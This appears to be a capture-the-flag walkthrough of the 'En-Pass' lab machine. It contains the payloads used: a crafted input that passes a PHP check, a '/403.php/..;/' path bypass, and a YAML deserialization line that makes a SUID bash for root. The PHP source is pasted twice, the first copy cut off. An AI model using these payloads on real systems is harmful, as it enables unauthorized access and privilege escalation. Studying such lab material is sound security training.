Get what you can't.
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
8001/tcp open vcom-tunnel syn-ack ttl 61
We have a couple ports open, we can see if port 8001 has anything:
PORT STATE SERVICE REASON VERSION
8001/tcp open http syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: En-Pass
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
We can see it’s a HTTP server. Let’s navigate to it:
There’s not a lot, let’s bruteforce directories:
We have zip
that we can take a look at:
It’s exactly what it looks like, zip files. Let’s look at web too:
No look there, instead I decided to look for files and found reg.php
User own
We seem to have some source code disclosed to us, let’s take a look:
<?php
if($_SERVER["REQUEST_METHOD"] == "POST"){
$title = $_POST["title"];
if (!preg_match('/[a-zA-Z0-9]/i' , $title )){
$val = explode(",",$title);
$sum = 0;
for($i = 0 ; $i < 9; $i++){
if ( (strlen($val[0]) == 2) and (strlen($val[8]) == 3 )) {
if ( $val[5] !=$val[8] and $val[3]!=$val[7] )
$sum = $sum+ (bool)$val[$i]."<br>";
}
}
if ( ($sum) == 9 ){
echo $result;//do not worry you'll get what you need.
echo " Congo You Got It !! Nice ";
}
else{
echo " Try Try!!";
}
}
else{
<?php
if($_SERVER["REQUEST_METHOD"] == "POST"){
$title = $_POST["title"];
if (!preg_match('/[a-zA-Z0-9]/i' , $title )){
$val = explode(",",$title);
$sum = 0;
for($i = 0 ; $i < 9; $i++){
if ( (strlen($val[0]) == 2) and (strlen($val[8]) == 3 )) {
if ( $val[5] !=$val[8] and $val[3]!=$val[7] )
$sum = $sum+ (bool)$val[$i]."<br>";
}
}
if ( ($sum) == 9 ){
echo $result;//do not worry you'll get what you need.
echo " Congo You Got It !! Nice ";
}
else{
echo " Try Try!!";
}
}
else{
echo " Try Again!! ";
}
}
?>
It seems like we’re trying to match a string, we can use an online interpreter to debug this:
https://www.onlinegdb.com/online_php_interpreter
We can work backwards and find the rules for this are:
- lowercase and uppercase characters and numbers are not allowed
- input string is split by comma as the delimiter
- substrings needs to be certain length or different values based on their order
- based on all the conditions a sum value is calculated and compared with a value of 9
We end up with something like this:
!!,!,!,!,!,!,!!,!!!,!!!,!
We are finally returned the result variable:
We’re lost on leads from here, we can go back to bruteforcing directories, this time starting at /web
until we end up in:
http://en-pass.thm:8001/web/resources/infoseek/configure/key
We have an ID_RSA file, this is useful however we still need a username. We still have 403.php, we can attempt different ways to attack this and find we can access it using:
http://en-pass.thm:8001/403.php/..;/
We see the following message:
<h3>Glad to see you here.Congo, you bypassed it. 'imsau' is waiting for you somewhere.</h3>
We use the password, key and username to get our initial shell.
Root own
We have a script called file.py
:
#!/usr/bin/python
import yaml
class Execute():
def __init__(self,file_name ="/tmp/file.yml"):
self.file_name = file_name
self.read_file = open(file_name ,"r")
def run(self):
return self.read_file.read()
data = yaml.load(Execute().run())
We don’t have an interactive shell (nor can we really upgrade to one) but we can try use this for priv esc to root. We’re going to struggle writing in the directory with nano for vim so we can create a file locally to create a bash SUID:
!!python/object/new:os.system ["cp /bin/bash /tmp; chmod 4777 /tmp/bash"]
We can go to /tmp and wait for our file to be deleted and a bash SUID to be created. Following that we can run:
/tmp/bash -p